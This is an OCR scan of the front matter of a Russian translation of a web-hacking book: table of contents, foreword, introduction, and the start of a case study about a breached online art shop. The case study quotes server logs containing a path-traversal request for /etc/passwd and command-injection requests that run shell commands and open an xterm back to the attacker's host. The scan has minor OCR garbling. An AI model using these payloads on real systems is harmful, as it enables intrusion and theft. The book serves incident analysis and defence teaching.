Автор Секретов хакеров
Стюарт Мак-Клар
Предисловие Вильяма С. Бонн, руководителя отдела информационной безопасности компании Motorola
Саумил Шах Шрирай Шах
Г
j
АТАКИ и ЗАЩИТА n
ventory") or die("FaUed to mysql_se*ect_db. );// SQL
АТАКИ и ЗАЩИТА
•
ATTACKS and DEFENCE STUART McCLURE SAUMILSHAH SHREERAJ SHAH
A TT ADDISON-WESLEY Boston • San Francisco • New York • Toronto • Montreal London • Munich • Paris • Madrid Capetown • Sydney • Tokyo • Singapore • Mexico City
АТАКИ и ЗАЩИТА СТЮАРТ МАК-КЛАР САУМИЛ ШАХ ШРИРАЙ ШАХ
Москва • Санкт-Петербург • Киев 2003
ББК 32.973.26-018.2.75 М15 УДК 681.3.07 Издательский дом "Вильяме" Зав. редакцией С. Я. Тригуб Перевод с английского Е. Н. Василенко, Т. В. Тимошок и А. Ю. Шелестова Под редакцией А. Ю. Шелестова По общим вопросам обращайтесь в Издательский дом "Вильяме" по адресу:
[email protected], http://www.williamspublishing.com
М15
Мак-Клар, Стюарт, Шах, Саумил, Шах, Шрирай. Хакинг в Web: атаки и зашита : Пер. с англ. — М. : Издательский дом "Вильяме", 2003. — 384 с. : ил. — Парал. тит. англ. ISBN 5-8459-0439-0 (рус.) Эта книга является полным справочником, в котором содержится самая последняя информация об атаках в Web и защите от них. Эксперты в области обеспечения безопасности Стюарт Мак-Клар (ведущий автор серии книг Секреты хакеров), а также Саумил Шах и Шрирай Шах предлагают описание большого количества атак и способов защиты. К рассматриваемым в книге технологиям относятся языки для создания Web-приложений, протоколы, серверы баз данных и Web-серверы, а также подсистемы обработки платежей и выбора товаров. Кроме того, здесь обсуждаются серьезные изъяны, связанные с адресами URL. Авторы книги показывают, как провести линию между отдельными точками, т.е. как соединить отдельные этапы атак вместе, реализовав таким образом оптимальную защиту против них. Удачно изложенный материал и последовательное описание проверенных методов анализа помогут защититься от потенциальной угрозы нарушения безопасности и атак взломщиков. Как начинающие, так и опытные читатели смогут лучше понять природу атак в Web и получат новые знания в области защиты от подобных атак. ББК 32.973.26-018.2.75
Все названия программных продуктов являются зарегистрированными торговыми марками соответствующих фирм. Никакая часть настоящего издания ни в каких целях не может быть воспроизведена в какой бы то ни было форме и какими бы то ни было средствами, будь то электронные или механические, включая фотокопирование и запись на магнитный носитель, если на это нет письменного разрешения издательства Addison-Wesley Publishing Company, Inc. Authorized translation from the English language edition published by Addison-Wesley Publishing Company, Inc., Copyright © 2003 by Pearson Education, Inc. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage retrieval system, without permission from the Publisher. Russian language edition published by Williams Publishing House according to the Agreement with R&I Enterprises International, Copyright © 2003 ISBN 5-8459-0439-0 (рус.) ISBN 0-201-76176-9 (англ.)
© Издательский дом "Вильяме", 2003 © Pearson Education, Inc., 2003
Оглавление Введение Часть I. Будни электронной коммерции Глава 1. Языки программирования для Web: Вавилон XXI столетия Глава 2. Web-серверы и серверы баз данных Глава 3. Выбор товаров и обработка платежей Глава 4. Хакинг протоколов HTTP и HTTPS Глава 5. URL: оружие хакера в Web
16 21 28 58 86 106 117
Часть II. Секреты URL Глава 6. За кулисами Web-сервера Глава 7. Читая между строк Глава 8. Анализ связей Web-узла
137 140 162 178
Часть III. Как они это делают Глава 9. Киберграффити Глава 10. Кражи в электронных магазинах Глава 11. Доступ к базам данных Глава 12. Java: удаленное выполнение команд Глава 13. Перевоплощение Глава 14. Переполнение буфера "на лету"
197 200 222 246 255 272 289
Часть IV. Приемы кунг фу в Web Глава 15. Хакинг в Web: средства автоматизации Глава 16. Вирусы-черви . Глава 17. Обход систем IDS Приложение А. Перечень портов, прослушиваемых серверами баз данных и Web-серверами Приложение Б. Методы и определения полей протоколов HTTP/1.1 и HTTP/1.0 Приложение В. Удаленное выполнение команд Приложение Г. Раскрытие исходного кода, файлов и каталогов Приложение Д. Ресурсы и ссылки Приложение Е. Средства оценки Web-приложений Предметный указатель
301 303 325 333 349 351 355 357 363 365 367
Содержание Предисловие
14
Введение "Мы в безопасности: у нас есть брандмауэр" Человек склонен ошибаться Надписи на стене Структура книги Части Главы Несколько заключительных замечаний Благодарности Соавтор
16 17 17 17 18 18 19 20 20 20
Часть I. Будни электронной коммерции Случай из жизни: Web-узел компании Acme Art, Inc. взломан!
б
21 22
Глава 1. Языки программирования для Web: Вавилон XXI столетия Введение Языки Web HTML Динамический HTML (DHTML) XML XHTML Perl PHP ColdFusion Страницы ASP CGI Java Использование Java на сервере Резюме Глава 2. Web-серверы и серверы баз данных Введение Web-серверы Сервер Apache Internet Information Server компании Microsoft Серверы баз данных Microsoft SQL Server Oracle Резюме
28 29 29 30 32 32 33 33 36 38 40 44 48 53 57
Глава 3. Выбор товаров и обработка платежей Введение Эволюция торгового зала Электронная коммерция Подсистемы выбора товаров
86 87 88 90 91
58 59 59 59 63 70 72 78 85
Содержание
Назначение и время жизни электронной торговой тележки Сбор, анализ и сравнение выбранных товаров Отслеживание общей стоимости Изменение решения Оформление покупки Реализация электронной тележки Каталог товаров Управление сеансами Интерфейс с базой данных Взаимодействие с платежной подсистемой Примеры неудачно реализованных подсистем выбора товаров Электронная тележка Carello Электронная тележка DCShop Электронная тележка от Hassan Consulting Некоторые другие электронные тележки Обработка платежей Окончательное оформление заказа Форма оплаты Проверка подлинности и защита от мошенничества Выполнение заказа и оформление торгового чека Общие сведения о подсистеме обработки платежей Страница подтверждения заказа Интерфейс системы обработки платежей финансового учреждения Интерфейс базы данных транзакций Пример взаимодействия с системой обработки платежей финансового учреждения Проблемы реализации подсистемы обработки платежей Интеграция Временная информация Протокол SSL Хранение профилей пользователей PayPal — электронные платежи, доступные каждому Резюме
Глава 4. Хакинг протоколов HTTP и HTTPS Введение Протоколы Web HTTP HTTPS (HTTP поверх SSL) Резюме
Глава 5. URL: оружие хакера в Web Введение Структура URL URL и передача параметров Кодирование URL Метасимволы Использование в строке URL специальных символов Стандарт кодирования Unicode Неправильное использование кода URL Изъян Unicode Изъян двойного или избыточного декодирования Формы HTML
Содержание
91 92 92 92 92 93 94 94 95 95 95 95 95 96 96 96 96 97 97 97 97 99 99 100 100 103 103 103 103 104 104 105
106 107 107 107 114 116
117 118 119 121 122 123 124 125 126 126 128 129
7
Анатомия формы HTML Элементы ввода данных Передача параметров с помощью методов GET и POST Резюме
130 131 132 136
Часть II. Секреты URL
137
Случай из жизни: исследование подступов к корпоративным сокровищам
Глава 6. За кулисами Web-сервера
140
Введение Компоненты Web-приложений Внешний Web-сервер Среда выполнения Web-приложения Сервер баз данных Взаимодействие компонентов Собственная среда обработки приложений Надстройки и API-функции Web-сервера Отображение URL-адресов и внутреннее перенаправление Перенаправление к внутреннему серверу приложений Примеры Доступ к базам данных Использование собственных API-функций базы данных Примеры Использование стандарта ODBC Использование JDBC Специализированные серверы Web-приложений Идентификация компонентов Web-приложения с помощью URL-адресов Основы идентификации Примеры Дополнительные примеры Дополнительные методы идентификации Примеры Идентификация серверов баз данных Контрмеры Правило 1. Минимизация информации в HTTP-заголовке Правило 2. Предотвращение отправки броузеру сообщений об ошибке Резюме
Глава 7. Читая между строк Введение Утечка информации через код HTML Что скрывают броузеры Netscape Navigator — команда ViewOPage Source Internet Explorer — команда View=>Source Где искать информацию Комментарии HTML История внесения изменений Подробности о разработчике или авторе Связь с другими частями Web-приложений Заметки Комментарии серверов Web-приложений Старый закомментированный код Внутренние и внешние гиперссылки
8
138 141 141 142 143 144 144 144 144 145 146 146 150 150 151 151 152 152 153 153 154 156 158 158 160 160 160 161 161
162 163 163 164 164 165 166 166 167 167 167 168 168 169 169
Содержание
Адреса электронной почты и имена пользователей Спэм Ключевые слова и дескрипторы Скрытые поля Клиентские сценарии Приемы автоматического просеивания кода Sam Spade, Black Widow и Teleport Pro Резюме Глава 8. Анализ связей Web-узла Введение . Анализ связей и язык HTML Методология анализа связей Этап 1: исследование Web-узла Исследование узла вручную Несколько слов о заголовке HTTP-ответа Некоторые популярные средства, предназначенные для анализа связей Заключительные замечания Этап 2: выделение в структуре приложения отдельных логических групп Заключительные замечания Этап 3: анализ каждого Web-pecypca 1. Анализ расширений 2. Анализ адресов URL 3. Анализ сеансов 4. Поиск форм 5. Идентификация аплетов и объектов 6. Поиск клиентских сценариев 7. Анализ комментариев и адресов электронной почты Заключительные замечания Этап 4: инвентаризация Web-ресурсов Резюме
Часть III. Как они это делают Случай из жизни: как Борис помог Анне достать необходимые материалы Глава 9. Киберграффити Введение Взлом Web-узла компании Defacing Acme Travel, Inc. Составление схемы сети Тонкости использования proxy-серверов Подбор паролей, используемых в процессе HTTP-аутентификации Просмотр каталогов Загрузка модифицированных страниц Какие ошибки были допущены Программы подбора паролей HTTP Brutus WebCracker 4.0 Контрмеры против взлома Web-узла компании Acme Travel, Inc. Отключение реверсивного перенаправления Использование более надежных паролей Отключение режима просмотра каталогов Резюме
Содержание
170 170 170 171 172 172 176 177 178 179 179 180 181 181 181 182 185 187 190 190 190 191 191 192 192 193 193 193 194 195
197 198 200 201 201 203 203 207 209 212 215 216 216 216 219 219 219 220 220
Глава 10. Кражи в электронных магазинах
222
Введение Структура электронного магазина Торговый зал Электронная торговая тележка Пункт оплаты База данных Объединение всех элементов Эволюция электронных магазинов Кражи в электронном магазине компании Acme Fashions, Inc. Установка электронного магазина компании Acme Fashions Поиск проблемы Обход проверки данных в клиентской части приложений Усовершенствование узла www.acme-fashions.com В обновленной системе новая проблема Заключительные замечания Резюме
223 223 225 225 225 225 225 225 227 227 228 235 238 239 244 245
Глава 11. Доступ к базам данных
246
Введение Взлом Web-узла компании по продаже подержанных автомобилей Проверка входных данных Контрмеры Резюме
247 249 249 253 254
Глава 12. Java: удаленное выполнение команд
255
Введение Технологии, основанные на Java Архитектура серверов приложений Java Атака на Java Web Server Обнаружение изъянов на серверах приложений Java Пример: компания по продаже акций Вызов сервлета FileServlet Контрмеры Зашита сервера Java Web Server Другие основные контрмеры Резюме
256 257 257 258 259 260 262 269 269 270 271
Глава 13. Перевоплощение
272
Введение Перехват сеансов: похищение чужого облика и сорванное свидание 7:00, 5 марта, квартира Алисы 8:30, офис Алисы 10:00, рабочее место Боба 11:00, рабочее место Боба 12:30, рабочее место Алисы 21:30, в итальянском ресторане Перехват сеансов Заключительные замечания об атаке, направленной на перехват сеанса Диаграммы состояний приложения Протокол HTTP и отслеживание сеансов Приложения с сохранением состояния и без сохранения состояния Данные cookie и скрытые поля
10
273 273 273 275 275 277 280 280 280 281 282 283 284 286
Содержание
Cookie Скрытые поля Реализация механизмов отслеживания сеансов и сохранения состояний Идентификаторы сеансов должны быть уникальными Идентификаторы сеансов должны быть сложными Идентификаторы сеансов должны быть независимыми Идентификаторы сеансов должны быть связаны с клиентскими соединениями Резюме Глава 14. Переполнение буфера "на лету" Введение Пример Переполнение буфера Простейшее переполнение буфера Пример переполнения буфера Контрмеры Резюме
Часть IV. Приемы кунг фу в Web Случай из жизни
286 287 287 287 287 288 288 288 289 290 290 291 291 295 300 300
301 302
Глава 15. Хакинг в Web: средства автоматизации Введение Netcat Whisker Подбор паролей "в лоб" Brutus Achilles Cookie Pal Teleport Pro Рекомендации по обеспечению безопасности . Резюме
303 304 304 306 307 309 312 314 322 323 324
Глава 16. Вирусы-черви Введение Червь Code Red 26 января 2000 года 18 июня 2001 года: первое нападение 12 июля 2001 года 19 июля 2001 года 4 августа 2001 года Червь Nimda 18 сентября 2001 года Еще несколько, замечаний Реакция и контрмеры Резюме
325 326 326 326 326
Глава 17. Обход систем IDS Введение Общие сведения о системах IDS Сетевые IDS Хостовые IDS
333 334 334 334 335
Содержание
328 330 330 331 331 332
11
Точность IDS Обход систем IDS "Безопасный" хакинг — атаки с использованием протокола SSL Пример Туннелирование атак посредством протокола SSL Выявление вторжений через SSL Анализ трафика SSL Полиморфные адреса URL Шестнадцатеричное кодирование Избыточное шифрование или недопустимое кодирование символов в формате Unicode Добавление фиктивных путей Вставка строк /./ Использование в пути нестандартных символов-разделителей Использование нескольких символов / Одновременное использование различных подходов Генерация ложных сообщений Потенциальные контрмеры Декодирование SSL Декодирование адресов URL Резюме
12
335 336 336 337 338 339 340 342 343 343 344 344 345 345 345 346 347 347 348 348
Приложение А. Перечень портов, прослушиваемых серверами баз данных и Web-серверами
349
Приложение Б. Методы и определения полей протоколов HTTP/1.1 и НТТР/1.0
351
Приложение В. Удаленное выполнение команд
355
Приложение Г. Раскрытие исходного кода, файлов и каталогов
357
Приложение Д. Ресурсы и ссылки
363
Приложение Е. Средства оценки Web-приложений
365
Предметный указатель
367
Содержание
Моим близким: ваша беспрецедентная поддержка делает все возможным. Стюарт Мак-Клар (Stuart McClure)
Эта книга посвящается дорогому Раджалбаи (Rajalbhai) за его мудрое руководство и любовь. Шрирай Шах (Shreeraj Shah)
Моей семье, моим друзьям и моей стране. Саумил Шах (Saumil Shah)
•
Предисловие В ваших руках книга, которая окажется важным источником информации при обеспечении защиты наиболее критичных Web-узлов и систем электронной коммерции, представляющих собой самую важную часть современного электронного бизнеса. Книга Хакинг в Web: атаки и защита основывается на практическом опыте экспертов по вопросам обеспечения безопасности, которые помогут специалистам по информационным технологиям и обеспечению безопасности успешно бороться против нападений злоумышленников, рассматривающих Internet как наиболее быстрый и эффективный способ воровства и достижения злонамеренных целей. Если вы прочитаете эту книгу и примените полученные знания на практике, то бесчестные люди будут крайне разочарованы, поскольку их наиболее хитрые трюки окажутся бесполезными на вашем узле Internet. Взломщикам потребуется намного больше изобретательности и усилий, чтобы прорваться сквозь линию обороны ваших приложений. Страницы этой книги заполнены ценными советами самых добропорядочных хакеров, являющихся проверенными консультантами компании Foundstone. Широко открытые глаза авторов просто слепнут в мире взломов Web-узлов и приложений. В книге обсуждаются некоторые наиболее разрушительные средства, используемые киберпреступниками и взломщиками. В описанных случаях из жизни и приведенных примерах представлены мельчайшие детали атак. Благодаря этому гораздо проще разобраться с разнообразными методами, которые используются "по ту сторону баррикад". Контрмеры, которые необходимо предпринять для обеспечения защиты, также приводятся с "клинической" точностью. Для предотвращения воровства нужно узнать, где, когда и почему будет нанесен удар взломщиков, а также где располагаются уязвимые места. Ответы на все эти вопросы вы сможете найти благодаря подробным рекомендациям, приведенным в книге. Книга Хакинг в Web содержит описание действий злоумышленников и ценные сведения о том, как, когда, где и какие элементы Web-узла могут подвергнуться атаке. В ней сбалансированы точное и полное техническое описание с пояснениями, которые помогут уловить важные концепции атак и соответствующих контрмер даже недостаточно подготовленным читателям. Зачастую книга производит просто шокирующее впечатление. Из нее вы узнаете, что даже хорошо подготовленные разработчики и операторы Web-узлов часто совершают фатальные ошибки. Прочитав эту книгу, вы узнаете разнообразные способы, с использованием которых можно организовать атаку на Web-узел или манипулировать его содержимым. Первый и наиболее важный шаг — это принятие самого факта реальности существующей угрозы, поскольку хорошо известно, что Internet предоставляет прекрасные возможности для взлома. Настоящая книга должна помочь в осмыслении и защите приложений электронной коммерции от этих глобальных рисков. Главы книги насыщены многочисленными примерами, которые свидетельствуют о том, что Internet — чрезвычайно опасное место ведения коммерческой деятельности. Когда виртуальные магазины попадают в поле зрения реальных преступников киберпространства, даже незначительные ошибки (в используемых технологиях или взаимосвязях между отдельными компонентами узла) могут привести к появлению очень опасных изъянов. Последние исследования в рамках проекта Honeynet
14
Предисловие
(www.honeynet.org) доказывают, что недостаточно защищенный узел будет атакован сразу же после появления в Internet. Что еще хуже, коммерческие Web-узлы с опасными изъянами могут попасть в руки преступников, о которых, вполне возможно, ничего так и не удастся узнать? Даже в случае их обнаружения для правоохранительных органов они окажутся недосягаемыми. Нападению могут быть подвержены и некоммерческие Web-узлы, которые при выполнении незаконных транзакций могут использоваться в качестве "перевалочного" пункта. Мы живем в эпоху, напоминающую времена Дикого запада, когда зачастую приходится просто выживать. Если традиционные законы не позволяют предотвращать атаки, менеджеры по информационным технологиям вместе с разработчиками и операторами Web-узлов не могут полагаться на удачу при защите своих информационных ресурсов. Знания — это истинная сила. Поэтому вооружите себя и свою компанию действенными рекомендациями лучших элитных хакеров. В этой книге подробно описан план виртуального сражения, знание которого позволяет выявить и ликвидировать опасность, связанную с захватом, подменой пользователей, неавторизованным доступом, изменением или разрушением Web-узла. Воспользуйтесь советами этих экспертов по вопросам безопасности, а затем спокойно отдыхайте с мыслью о том, что вы и ваша компания выполнила свою часть работы по снижению риска виртуального преступления. Вильям С. Бонн (William С. Boni), руководитель отдела информационной безопасности компании Motorola Июль 2002
Предисловие
15
Правда одна, однако ошибки возникают достаточно часто. Люди отслеживают их и делят на мелкие кусочки, надеясь обратить их в крупицы истины. Однако в конечном счете всегда останется ошибка, просчет. Рене Дюма (1908—1944), французский поэт, критик
"Мы в безопасности: у нас есть брандмауэр" Если бы мы получали от клиентов по монете каждый раз, когда произносили эту фразу, то, возможно, нам не пришлось бы писать эту книгу. Мы спокойно лежали бы на чистом белом песке какого-нибудь острова вблизи испанского побережья и.... Если вы скептически относитесь ко всевозможным опасностям и полагаетесь на свой брандмауэр, то знайте, что более 65% известных атак были выполнены через TCP-порт 80, обычный порт Web (http://vnw.incidents.org). Реальна ли угроза нападения из Internet? Вне всякого сомнения, слишком реальна.
Человек склонен ошибаться При подготовке сотен обзоров по вопросам безопасности за последние десять лет нам стало понятно, что нужно запомнить лишь один факт (если ранее вы еще этого не сделали): ничто не может быть по-настоящему безопасным. В основе каждого нарушения безопасности лежит ошибка. Другими словами, человек склонен ошибаться. Никакие брандмауэры, системы выявления вторжений (Intrusion Detection System — IDS) или антивирусные программы не смогут обеспечить необходимый уровень защиты. Возможно, подобное замечание к этой книге выглядит удивительным. Однако не стоит удивляться. Эту суровую реальность нужно принять, прежде чем приступать к изучению материала, предлагаемого в книге. Итак, что же необходимо делать? Сложить руки и игнорировать Internet, модем и компьютер? Конечно, можно так поступить, однако в этом случае вы останетесь наедине со своими проблемами. Преимущества Internet и всех периферийных устройств просто неоспоримы. Они позволяют повысить качество взаимодействия, совместного использования информации, а также обеспечить связь с людьми всех рас, мировоззрений, любого цвета кожи, пола и любого интеллектуального уровня без каких бы то ни было ограничений. И все эти преимущества доступны обычному пользователю домашнего компьютера. Бизнесмены используют Internet двадцать четыре часа в сутки и семь дней в неделю, зарабатывая деньги и перемещая их по всему миру. Любого, кто спорит с мощью Internet, можно считать просто несмышленым младенцем.
Надписи на стене Более трех лет назад один из авторов этой книги написал пророческую статью, которая оказалась предвестником наступления нового времени. Она была напечатана 9 августа 1999 года и называлась Bane of e-commerce: We're secure: We allow only Web traffic through our firewall (http://www.infoworld.com/articles/op/xml/99/08/09/990809opsecwatch.xml). В статье говорилось о просчетах подсистем безопасности того времени. Однако никто не хотел в это верить, и не желал об этом говорить. По-видимому, все были слишком уверены в разрекламированных технологиях, таких, как брандмауэры, системы выявления вторжений (IDS) и виртуальные частные сети (VPN). Эти технологии считались "внутренними", которые не имели никакого отношения к "магистральным" технологиям, таким, как инфраструктура открытого ключа (Public Key Infrastructure — PKI), среда распределенных вычислений (Distributed Computing Environment — DCE) и т.д. Так почему же в настоящее время к Web и области обеспечения безопасности проявляется такой интерес? Потому что в современном мире с многочисленными связями все чаще становится известно о фактах хакинга. Люди начинают понимать, сколь серьезно единственный изъян Web-приложения может повлиять на степень защи-
Введение
17
щенности информационных систем различных компаний. Примерами таких изъянов могут служить уязвимые места, которые в первую очередь подвергаются разрушительной работе вирусов-червей Code Red и Nimda.
Структура книги Структура этой книги позволяет наилучшим образом усвоить предлагаемый материал, продвигаясь от начальных сведений к основам, а затем к расширенным приемам и концепциям. Для достижения этой цели книга разделена на четыре части, семнадцать глав и приложения.
Части
.
• Часть I, "Будни электронной коммерции". • Часть II, "Секреты URL". • Часть III, "Как они это делают". • Часть IV, "Приемы кунг фу в Web". Каждая часть последовательно усложняется как по своему содержанию, так и по способу подачи материала, начиная с короткого обзора языков программирования для Web (глава 1) и заканчивая реализацией переполнения буфера (глава 14). Не пытайтесь ускорить процесс обучения. Если вы что-то упустили, то можете либо вернуться к этому месту, либо освоить это позже. Части I и II дают начальное, а затем и более расширенное введение в мир World Wide Web. В части I, "Будни электронной коммерции", описываются основные принципы работы Web: используемые языки, приложения, базы данных, протоколы и синтаксис. В части II, "Секреты URL", подробно рассматривается структура адресов URL, а также то, какие их части особенно важны для взломщиков и как полученный исходный код может облегчить задачу злоумышленникСв. Кроме того, из этой части вы узнаете, как можно получить образ всего Web-узла и почему такая возможность чрезвычайно важна для взломщика. В части III, "Как они это делают", вы вплотную прикоснетесь к искусству хакинга в Web а также узнаете, какие контрмеры позволяют защититься от этих атак. В главах 9—14 описывается также и то, как с помощью простых действий в процессе разработки можно устранить большую часть изъянов. Безусловно, эту часть можно назвать наиболее творческой, поскольку в ней содержится ценнейшая информация о том, как хакеры "делают" свою работу. В каждой главе содержится подробный анализ как самой атаки, так и контрмер, которые позволяют ее предотвратить. , В части IV, "Приемы кунг фу в Web", обсуждаются некоторые дополнительные концепции и методы хакинга в Web. Здесь вы узнаете о нескольких программных средствах, знакомство с которыми просто нельзя пропустить. И наконец, в конце книги можно найти приложения, в которых содержится перечень стандартных портов, используемых в Internet, фрагменты исходного кода, с использованием которого можно удаленно выполнять команды, описание приемов раскрытия исходного кода, а также много другой полезной информации.
18
Введение
Главы В части I, "Будни электронной коммерции", содержится пять глав. • В главе 1, "Языки программирования для Web: Вавилон XXI столетия", обсуждаются все основные языки для Web, используемые в Internet в настоящее время. • В главе 2, "Web-серверы и серверы баз данных", рассматриваются технологии, являющиеся основой Web, а также связанные с ними изъяны. • Глава 3, "Выбор товаров и обработка платежей", знакомит с технологиями, составляющими фундамент интерактивных подсистем выбора товаров ("торговых тележек") и Web-узлов электронной коммерции. • В главе 4, "Хакинг протоколов HTTP и HTTPS", обсуждаются два основных протокола, управляющих всем трафиком электронной коммерции и Web. • В главе 5, "URL: оружие хакера в Web", речь идет о том, как с помощью анализа адреса URL можно получить о Web-узле наибольшее количество информации. В части II, "Секреты URL", представлено три главы. • В главе 6, "За кулисами Web-сервера", описываются основные компоненты Web-приложения, а также взаимосвязи между ними. • В главе 7, "Читая между строк", обсуждается искусство раскрытия исходного кода с использованием Web-броузера или других средств. • В главе 8, "Анализ связей Web-узла", рассматривается, как провести инвентаризацию Web-узла и проанализировать приложение как единое целое, а на основе полученной информации определить наилучший метод нападения. Часть III, "Как они это делают", состоит из шести глав. • В главе 9, "Киберграффити", рассматривается, как взломщики могут подменить содержимое Web-узла и какие приемы и хитрости для этого можно использовать. • Глава 10, "Кражи в электронных магазинах", содержит информацию о том, как злоумышленники могут осуществить кражу в электронном магазине, т.е. "обмануть" Web-приложение и оплатить товар по более низкой цене. • В главе И, "Доступ к-базам данных", описываются способы проникновения в Web-приложения через базу данных. • Из главы 12, "Java: удаленное выполнение команд", станет понятно, как для проникновения в систему можно воспользоваться средствами Java. • В главе 13, "Перевоплощение", обсуждается, как взломщик может выдать себя за другого пользователя. • В главе 14, "Переполнение буфера "на лету", рассматривается, как определить уязвимость приложения к переполнению буфера, а затем его реализовать. В части IV, "Приемы кунг фу в Web", содержится три завершающих главы. •
В главе 15, "Хакинг в Web: средства автоматизации", обсуждаются различные средства и приемы, которые могут использоваться взломщиками для автоматизации выполнения своих действий. • В главе 16, "Вирусы-черви", рассматриваются смертоносные вирусы-черви, а также способы их создания, распространения и удаления. • В главе 17, "Обход систем IDS", содержится информация о том, как взломщика можно обнаружить с использованием системы выявления вторжений (IDS).
Введение
19
Несколько заключительных замечаний Эта книга представляет собой как введение в хакинг, так и подробный анализ мира Web-хакера. В то же время авторам очень хотелось, чтобы ее было просто читать, т.е. чтобы вы не использовали ее в качестве нового средства от бессонницы. В идеале книгу нужно прочитать от начала до конца. Даже если вы обладаете базовыми знаниями в области обеспечения безопасности и Web-технологий, у вас не должно возникнуть никаких проблем. В этом случае можно сразу перейти к главам из частей II, "Секреты URL", и III, "Секреты URL". Изъяны всегда будут существовать в любой среде, однако мы надеемся, что все, кто в настоящее время использует Web и Internet, опомнятся, выпьют чашечку ароматного кофе, а затем исправят допущенные ошибки. В противном случае всеми обнаруженными изъянами сразу же воспользуется хакер.
Благодарности Над созданием этой книги трудилось множество людей, каждый из которых внес свой неоценимый вклад. Но прежде всего хотелось бы выразить благодарность сотрудникам издательства Addison-Wesley. Их руководство и настойчивость на протяжении всей работы над этой книгой достойны самой высокой похвалы. Большое уважение и признательность хочется выразить также преданным своему делу профессионалам из компании Foundstone. Объединенные в этой компании специалисты продолжают выполнять свою работу, которая вызывает неподдельное восхищение. Мы приветствуем работу исследователей в области безопасности в промышленности, с которыми нам посчастливилось познакомиться (каждый знает, что он представляет собой на самом деле). Мы благодарны также нашим друзьям из индийской компании Net-Square, которые участвовали в исследованиях и обсуждении многих вопросов, нашедших отражение в этой книге. Наконец, отдельное спасибо хотелось бы сказать Барнаби Джеку (Barnaby Jack) за его вклад в эту книгу.
Соавтор Барнаби Джек (Barnaby Jack) работает исследователем и инженером-разработчиком в компании Foundstone, где он специализируется на исследовании изъянов и разработке утилит взлома. До этого он работал инженером в группе исследователей COVERT компании Network Associates. За многие годы он хорошо изучил внутреннюю архитектуру операционных систем, уделяя основное внимание семейству Windows, в частности системе Windows NT. Он занимается глубокими исследованиями в области методов взлома Windows. При этом ссылки на его статьи можно найти во многих серьезных изданиях.
20
Введение
ЧАСТЬ I
Случай из жизни: Web-узел компании Acme Art, Inc. взломан! 31 октября 2001 года оказалось плохим днем для нового Web-узла компании Acme Art www.acme-art.com. Взломщик похитил номера кредитных карточек из базы данных интерактивного магазина компании и разместил их в группе новостей Usenet. Электронные средства передачи информации работали быстро и безжалостно, и в течение нескольких часов компания потеряла сотни тысяч долларов заказов, приобрела плохую репутацию, но самое главное в том, что теперь ей придется снова накапливать капитал. Руководитель информационный службы компании озадачен. Где была допущена ошибка в процессе очередной проверки безопасности системы? Казалось, все в порядке. Брандмауэры блокировали весь трафик, за исключением портов 80 и 443. Подробно расследуя инцидент, группа экспертов обнаружила в системном журнале Web-сервера следующие данные: Group (a) 10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008 10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET /yf_thumb.jpg HTTP/1.0" 200 3452 10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET /fl thumb.jpg HTTP/1.0" 200 8468 10.0.1.21 - - [31/0ct/2001;03:02:47 +0530] "GET /th~thumb.jpg HTTP/1.0" 200 6912 10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET /mn~thumb.jpg HTTP/1.0" 200 7891 Group (b) 10.0.1.21 - 10.0.1.21 - 10.0.1.21 - 10.0.1.21 - -
[31/0ct/2001:03:03:13 +0530] "GET /index.cgi?page=falls.shtml HTTP/1.0" 200 610 [31/0ct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640 [31/0ct/2001:03:03:18 +0530] "GET /index.cgi?page=tahoel.shtml HTTP/1.0" 200 652 [31/0ct/2001:03:03:18 +0530] "GET /tahoel.jpg HTTP/1.0" 200 36580
Group (c) 10.0.1.21 - - [31/0ct/2001:03:03:41 +0530] "GET /cgi-bin/ HTTP/1.0" 403 272 Group (d) 10.0.1.21 - - [31/0ct/2001:03:04:10 +0530] "GET /index.cgi HTTP/1.0" 200 3008 10.0.1.21 - - [31/0ct/2001:03:05:31 +0530] "GET /index.cgi?page=index.cgi HTTP/1.0" 200 358 . Group (e) 10.0.1.21 - - [31/0ct/2001:03:06:21 +0530] "GET /index.cgi?page=/../../../../../../../../../etc/passwd HTTP/1.0" 200 723 Group (f) 10.0.1.21 - - [31/0ct/2001:03:07:01 +0530] "GET /index.cgi?page=|ls+-la+/40aid%0awhich+xterm| HTTP/1.0" 200 1228 10.0.1.21 - - [31/0ct/2001:03:17:29 +0530] "GET /index.cgi?page=|xterm+display+10.0.1.21:0.0+%26| HTTP/1.0" 200 Рассмотрим, как эксперты расследовали инцидент. Узел www.acme-art.com работал под управлением сервера Apache 1.3.12 в системе Linux. Для реализации и запуска интерактивного магазина программисты компании использовали CGI-сценарии на языке Perl. Записи из системного журнала свидетельствуют о том, что атака началась с узла 10.0.1.21. В 3:02 A.M. взломщик приступил к просмотру содержимого узла. Пять первых записей файла журнала (Group (а)) показывают, что он просматривал главную страницу и несколько изображений, содержащихся на ней. 10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008 10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET / yf_thumb.jpg HTTP/1.0" 200 3452 10.0.1.21 - - [31/0ct/2001:03:02:47 +0530] "GET /fl_thufflb.jpg HTTP/1.0" 200 8468
22
Часть I
